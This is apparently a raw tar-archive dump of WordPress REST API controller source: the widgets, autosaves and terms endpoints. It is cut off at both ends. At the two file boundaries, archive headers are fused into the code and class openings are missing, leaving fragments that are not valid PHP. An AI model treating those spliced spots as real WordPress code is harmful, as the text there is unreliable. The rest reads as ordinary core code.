} $request['context'] = 'edit'; if ( $request['force'] ) { $response = $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); $parsed_id = wp_parse_widget_id( $widget_id ); $id_base = $parsed_id['id_base']; $original_post = $_POST; $original_request = $_REQUEST; $_POST = array( 'sidebar' => $sidebar_id, "widget-$id_base" => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1', ); $_REQUEST = $_POST; /** This action is documented in wp-admin/widgets-form.php */ do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base ); $callback = $wp_registered_widget_updates[ $id_base ]['callback']; $params = $wp_registered_widget_updates[ $id_base ]['params']; if ( is_callable( $callback ) ) { ob_start(); call_user_func_array( $callback, $params ); ob_end_clean(); } $_POST = $original_post; $_REQUEST = $original_request; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); if ( $widget_object ) { /* * WP_Widget sets `updated = true` after an update to prevent more than one widget * from being saved per request. This isn't what we want in the REST API, though, * as we support batch requests. */ $widget_object->updated = false; } wp_assign_widget_to_sidebar( $widget_id, '' ); $response->set_data( array( 'deleted' => true, 'previous' => $response->get_data(), ) ); } else { wp_assign_widget_to_sidebar( $widget_id, 'wp_inactive_widgets' ); $response = $this->prepare_item_for_response( array( 'sidebar_id' => 'wp_inactive_widgets', 'widget_id' => $widget_id, ), $request ); } /** * Fires after a widget is deleted via the REST API. * * @since 5.8.0 * * @param string $widget_id ID of the widget marked for deletion. * @param string $sidebar_id ID of the sidebar the widget was deleted from. * @param WP_REST_Response|WP_Error $response The response data, or WP_Error object on failure. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_widget', $widget_id, $sidebar_id, $response, $request ); return $response; } /** * Performs a permissions check for managing widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error */ protected function permissions_check( $request ) { if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Looks for "lost" widgets once per request. * * @since 5.9.0 * * @see retrieve_widgets() */ protected function retrieve_widgets() { if ( ! $this->widgets_retrieved ) { retrieve_widgets(); $this->widgets_retrieved = true; } } /** * Saves the widget in the request object. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widget_updates The registered widget update functions. * * @param WP_REST_Request $request Full details about the request. * @param string $sidebar_id ID of the sidebar the widget belongs to. * @return string|WP_Error The saved widget ID. */ protected function save_widget( $request, $sidebar_id ) { global $wp_widget_factory, $wp_registered_widget_updates; require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number(). if ( isset( $request['id'] ) ) { // Saving an existing widget. $id = $request['id']; $parsed_id = wp_parse_widget_id( $id ); $id_base = $parsed_id['id_base']; $number = isset( $parsed_id['number'] ) ? $parsed_id['number'] : null; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); $creating = false; } elseif ( $request['id_base'] ) { // Saving a new widget. $id_base = $request['id_base']; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); $number = $widget_object ? next_widget_id_number( $id_base ) : null; $id = $widget_object ? $id_base . '-' . $number : $id_base; $creating = true; } else { return new WP_Error( 'rest_invalid_widget', __( 'Widget type (id_base) is required.' ), array( 'status' => 400 ) ); } if ( ! isset( $wp_registered_widget_updates[ $id_base ] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided widget type (id_base) cannot be updated.' ), array( 'status' => 400 ) ); } if ( isset( $request['instance'] ) ) { if ( ! $widget_object ) { return new WP_Error( 'rest_invalid_widget', __( 'Cannot set instance on a widget that does not extend WP_Widget.' ), array( 'status' => 400 ) ); } if ( isset( $request['instance']['raw'] ) ) { if ( empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'Widget type does not support raw instances.' ), array( 'status' => 400 ) ); } $instance = $request['instance']['raw']; } elseif ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) { $serialized_instance = base64_decode( $request['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is malformed.' ), array( 'status' => 400 ) ); } $instance = unserialize( $serialized_instance ); } else { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is invalid. Must contain raw OR encoded and hash.' ), array( 'status' => 400 ) ); } $form_data = array( "widget-$id_base" => array( $number => $instance, ), 'sidebar' => $sidebar_id, ); } elseif ( isset( $request['form_data'] ) ) { $form_data = $request['form_data']; } else { $form_data = array(); } $original_post = $_POST; $original_request = $_REQUEST; foreach ( $form_data as $key => $value ) { $slashed_value = wp_slash( $value ); $_POST[ $key ] = $slashed_value; $_REQUEST[ $key ] = $slashed_value; } $callback = $wp_registered_widget_updates[ $id_base ]['callback']; $params = $wp_registered_widget_updates[ $id_base ]['params']; if ( is_callable( $callback ) ) { ob_start(); call_user_func_array( $callback, $params ); ob_end_clean(); } $_POST = $original_post; $_REQUEST = $original_request; if ( $widget_object ) { // Register any multi-widget that the update callback just created. $widget_object->_set( $number ); $widget_object->_register_one( $number ); /* * WP_Widget sets `updated = true` after an update to prevent more than one widget * from being saved per request. This isn't what we want in the REST API, though, * as we support batch requests. */ $widget_object->updated = false; } /** * Fires after a widget is created or updated via the REST API. * * @since 5.8.0 * * @param string $id ID of the widget being saved. * @param string $sidebar_id ID of the sidebar containing the widget being saved. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a widget, false when updating. */ do_action( 'rest_after_save_widget', $id, $sidebar_id, $request, $creating ); return $id; } /** * Prepares the widget for the REST response. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widgets The registered widgets. * * @param array $item An array containing a widget_id and sidebar_id. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { global $wp_widget_factory, $wp_registered_widgets; $widget_id = $item['widget_id']; $sidebar_id = $item['sidebar_id']; if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The requested widget is invalid.' ), array( 'status' => 500 ) ); } $widget = $wp_registered_widgets[ $widget_id ]; $parsed_id = wp_parse_widget_id( $widget_id ); $fields = $this->get_fields_for_response( $request ); $prepared = array( 'id' => $widget_id, 'id_base' => $parsed_id['id_base'], 'sidebar' => $sidebar_id, 'rendered' => '', 'rendered_form' => null, 'instance' => null, ); if ( rest_is_field_included( 'rendered', $fields ) && 'wp_inactive_widgets' !== $sidebar_id ) { $prepared['rendered'] = trim( wp_render_widget( $widget_id, $sidebar_id ) ); } if ( rest_is_field_included( 'rendered_form', $fields ) ) { $rendered_form = wp_render_widget_control( $widget_id ); if ( ! is_null( $rendered_form ) ) { $prepared['rendered_form'] = trim( $rendered_form ); } } if ( rest_is_field_included( 'instance', $fields ) ) { $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); if ( $widget_object && isset( $parsed_id['number'] ) ) { $all_instances = $widget_object->get_settings(); $instance = $all_instances[ $parsed_id['number'] ]; $serialized_instance = serialize( $instance ); $prepared['instance']['encoded'] = base64_encode( $serialized_instance ); $prepared['instance']['hash'] = wp_hash( $serialized_instance ); if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { // Use new stdClass so that JSON result is {} and not []. $prepared['instance']['raw'] = empty( $instance ) ? new stdClass : $instance; } } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $prepared = $this->add_additional_fields_to_object( $prepared, $request ); $prepared = $this->filter_response_by_context( $prepared, $context ); $response = rest_ensure_response( $prepared ); $response->add_links( $this->prepare_links( $prepared ) ); /** * Filters the REST API response for a widget. * * @since 5.8.0 * * @param WP_REST_Response|WP_Error $response The response object, or WP_Error object on failure. * @param array $widget The registered widget data. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_widget', $response, $widget, $request ); } /** * Prepares links for the widget. * * @since 5.8.0 * * @param array $prepared Widget. * @return array Links for the given widget. */ protected function prepare_links( $prepared ) { $id_base = ! empty( $prepared['id_base'] ) ? $prepared['id_base'] : $prepared['id']; return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $prepared['id'] ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'about' => array( 'href' => rest_url( sprintf( 'wp/v2/widget-types/%s', $id_base ) ), 'embeddable' => true, ), 'https://api.w.org/sidebar' => array( 'href' => rest_url( sprintf( 'wp/v2/sidebars/%s/', $prepared['sidebar'] ) ), ), ); } /** * Gets the list of collection params. * * @since 5.8.0 * * @return array[] */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'sidebar' => array( 'description' => __( 'The sidebar to return widgets for.' ), 'type' => 'string', ), ); } /** * Retrieves the widget's schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'widget', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the widget.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'id_base' => array( 'description' => __( 'The type of the widget. Corresponds to ID in widget-types endpoint.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'sidebar' => array( 'description' => __( 'The sidebar the widget belongs to.' ), 'type' => 'string', 'default' => 'wp_inactive_widgets', 'required' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML representation of the widget.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rendered_form' => array( 'description' => __( 'HTML representation of the widget admin form.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'instance' => array( 'description' => __( 'Instance settings of the widget, if supported.' ), 'type' => 'object', 'context' => array( 'edit' ), 'default' => null, 'properties' => array( 'encoded' => array( 'description' => __( 'Base64 encoded representation of the instance settings.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'hash' => array( 'description' => __( 'Cryptographic hash of the instance settings.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'raw' => array( 'description' => __( 'Unencoded instance settings, if supported.' ), 'type' => 'object', 'context' => array( 'edit' ), ), ), ), 'form_data' => array( 'description' => __( 'URL-encoded form data from the widget admin form. Used to update a widget that does not support instance. Write only.' ), 'type' => 'string', 'context' => array(), 'arg_options' => array( 'sanitize_callback' => static function( $string ) { $array = array(); wp_parse_str( $string, $array ); return $array; }, ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } } rest-api/endpoints/class-wp-rest-autosaves-controller.php000064400000031705147177035020017715 0ustar00parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Posts_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type ); $this->rest_base = 'autosaves'; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; } /** * Registers the routes for autosaves. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the autosave.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'The ID for the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Get the parent post. * * @since 5.0.0 * * @param int $parent_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_id ) { return $this->revisions_controller->get_parent( $parent_id ); } /** * Checks if a given request has access to get autosaves. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $parent = $this->get_parent( $request['id'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'edit_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view autosaves of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to create an autosave revision. * * Autosave revisions inherit permissions from the parent post, * check if the current user has permission to edit the post. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); if ( empty( $id ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid item ID.' ), array( 'status' => 404 ) ); } return $this->parent_controller->update_item_permissions_check( $request ); } /** * Creates, updates or deletes an autosave revision. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! defined( 'DOING_AUTOSAVE' ) ) { define( 'DOING_AUTOSAVE', true ); } $post = get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $prepared_post = $this->parent_controller->prepare_item_for_database( $request ); $prepared_post->ID = $post->ID; $user_id = get_current_user_id(); if ( ( 'draft' === $post->post_status || 'auto-draft' === $post->post_status ) && $post->post_author == $user_id ) { // Draft posts for the same author: autosaving updates the post and does not create a revision. // Convert the post object to an array and add slashes, wp_update_post() expects escaped array. $autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true ); } else { // Non-draft posts: create or update the post autosave. $autosave_id = $this->create_post_autosave( (array) $prepared_post ); } if ( is_wp_error( $autosave_id ) ) { return $autosave_id; } $autosave = get_post( $autosave_id ); $request->set_param( 'context', 'edit' ); $response = $this->prepare_item_for_response( $autosave, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Get the autosave, if the ID is valid. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise. */ public function get_item( $request ) { $parent_id = (int) $request->get_param( 'parent' ); if ( $parent_id <= 0 ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post parent ID.' ), array( 'status' => 404 ) ); } $autosave = wp_get_post_autosave( $parent_id ); if ( ! $autosave ) { return new WP_Error( 'rest_post_no_autosave', __( 'There is no autosave revision for this post.' ), array( 'status' => 404 ) ); } $response = $this->prepare_item_for_response( $autosave, $request ); return $response; } /** * Gets a collection of autosaves using wp_get_post_autosave. * * Contains the user's autosave, for empty if it doesn't exist. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $parent = $this->get_parent( $request['id'] ); if ( is_wp_error( $parent ) ) { return $parent; } $response = array(); $parent_id = $parent->ID; $revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$parent_id}-autosave" ) ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } } return rest_ensure_response( $response ); } /** * Retrieves the autosave's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = $this->revisions_controller->get_item_schema(); $schema['properties']['preview_link'] = array( 'description' => __( 'Preview link for the post.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'edit' ), 'readonly' => true, ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Creates autosave for the specified post. * * From wp-admin/post.php. * * @since 5.0.0 * * @param array $post_data Associative array containing the post data. * @return mixed The autosave revision ID or WP_Error. */ public function create_post_autosave( $post_data ) { $post_id = (int) $post_data['ID']; $post = get_post( $post_id ); if ( is_wp_error( $post ) ) { return $post; } $user_id = get_current_user_id(); // Store one autosave per author. If there is already an autosave, overwrite it. $old_autosave = wp_get_post_autosave( $post_id, $user_id ); if ( $old_autosave ) { $new_autosave = _wp_post_revision_data( $post_data, true ); $new_autosave['ID'] = $old_autosave->ID; $new_autosave['post_author'] = $user_id; // If the new autosave has the same content as the post, delete the autosave. $autosave_is_different = false; foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) { if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) { $autosave_is_different = true; break; } } if ( ! $autosave_is_different ) { wp_delete_post_revision( $old_autosave->ID ); return new WP_Error( 'rest_autosave_no_changes', __( 'There is nothing to save. The autosave and the post content are the same.' ), array( 'status' => 400 ) ); } /** This filter is documented in wp-admin/post.php */ do_action( 'wp_creating_autosave', $new_autosave ); // wp_update_post() expects escaped array. return wp_update_post( wp_slash( $new_autosave ) ); } // Create the new autosave as a special post revision. return _wp_put_post_revision( $post_data, true ); } /** * Prepares the revision for the REST response. * * @since 5.0.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $response = $this->revisions_controller->prepare_item_for_response( $post, $request ); $fields = $this->get_fields_for_response( $request ); if ( in_array( 'preview_link', $fields, true ) ) { $parent_id = wp_is_post_autosave( $post ); $preview_post_id = false === $parent_id ? $post->ID : $parent_id; $preview_query_args = array(); if ( false !== $parent_id ) { $preview_query_args['preview_id'] = $parent_id; $preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id ); } $response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $response->data = $this->add_additional_fields_to_object( $response->data, $request ); $response->data = $this->filter_response_by_context( $response->data, $context ); /** * Filters a revision returned from the REST API. * * Allows modification of the revision right before it is returned. * * @since 5.0.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original revision object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_autosave', $response, $post, $request ); } /** * Retrieves the query params for the autosaves collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } rest-api/endpoints/class-wp-rest-terms-controller.php000064400000101763147177035020017037 0ustar00 true ); /** * Constructor. * * @since 4.7.0 * * @param string $taxonomy Taxonomy key. */ public function __construct( $taxonomy ) { $this->taxonomy = $taxonomy; $tax_obj = get_taxonomy( $taxonomy ); $this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name; $this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2'; $this->meta = new WP_REST_Term_Meta_Fields( $taxonomy ); } /** * Registers the routes for terms. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the term.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as terms do not support trashing.' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if the terms for a post can be read. * * @since 6.0.3 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Full details about the request. * @return bool Whether the terms for the post can be read. */ public function check_read_terms_permission_for_post( $post, $request ) { // If the requested post isn't associated with this taxonomy, deny access. if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) { return false; } // Grant access if the post is publicly viewable. if ( is_post_publicly_viewable( $post ) ) { return true; } // Otherwise grant access if the post is readable by the logged in user. if ( current_user_can( 'read_post', $post->ID ) ) { return true; } // Otherwise, deny access. return false; } /** * Checks if a request has access to read terms in the specified taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, otherwise false or WP_Error object. */ public function get_items_permissions_check( $request ) { $tax_obj = get_taxonomy( $this->taxonomy ); if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return false; } if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['post'] ) ) { $post = get_post( $request['post'] ); if ( ! $post ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400, ) ); } if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to view terms for this post.' ), array( 'status' => rest_authorization_required_code(), ) ); } } return true; } /** * Retrieves terms associated with a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'exclude' => 'exclude', 'include' => 'include', 'order' => 'order', 'orderby' => 'orderby', 'post' => 'post', 'hide_empty' => 'hide_empty', 'per_page' => 'number', 'search' => 'search', 'slug' => 'slug', ); $prepared_args = array( 'taxonomy' => $this->taxonomy ); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'include_slugs' => 'slug__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) { $prepared_args['offset'] = $request['offset']; } else { $prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number']; } $taxonomy_obj = get_taxonomy( $this->taxonomy ); if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) { if ( 0 === $request['parent'] ) { // Only query top-level terms. $prepared_args['parent'] = 0; } else { if ( $request['parent'] ) { $prepared_args['parent'] = $request['parent']; } } } /** * Filters get_terms() arguments when querying terms via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_category_query` * - `rest_post_tag_query` * * Enables adding extra arguments or setting defaults for a terms * collection request. * * @since 4.7.0 * * @link https://developer.wordpress.org/reference/functions/get_terms/ * * @param array $prepared_args Array of arguments for get_terms(). * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request ); if ( ! empty( $prepared_args['post'] ) ) { $query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args ); // Used when calling wp_count_terms() below. $prepared_args['object_ids'] = $prepared_args['post']; } else { $query_result = get_terms( $prepared_args ); } $count_args = $prepared_args; unset( $count_args['number'], $count_args['offset'] ); $total_terms = wp_count_terms( $count_args ); // wp_count_terms() can return a falsey value when the term has no children. if ( ! $total_terms ) { $total_terms = 0; } $response = array(); foreach ( $query_result as $term ) { $data = $this->prepare_item_for_response( $term, $request ); $response[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $response ); // Store pagination values for headers. $per_page = (int) $prepared_args['number']; $page = ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 ); $response->header( 'X-WP-Total', (int) $total_terms ); $max_pages = ceil( $total_terms / $per_page ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( $this->namespace . '/' . $this->rest_base ) ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the term, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise. */ protected function get_term( $id ) { $error = new WP_Error( 'rest_term_invalid', __( 'Term does not exist.' ), array( 'status' => 404 ) ); if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return $error; } if ( (int) $id <= 0 ) { return $error; } $term = get_term( (int) $id, $this->taxonomy ); if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) { return $error; } return $term; } /** * Checks if a request has access to read or edit the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise false or WP_Error object. */ public function get_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Gets a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Checks if a request has access to create a term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, false or WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return false; } $taxonomy_obj = get_taxonomy( $this->taxonomy ); if ( ( is_taxonomy_hierarchical( $this->taxonomy ) && ! current_user_can( $taxonomy_obj->cap->edit_terms ) ) || ( ! is_taxonomy_hierarchical( $this->taxonomy ) && ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single term in a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); $term = 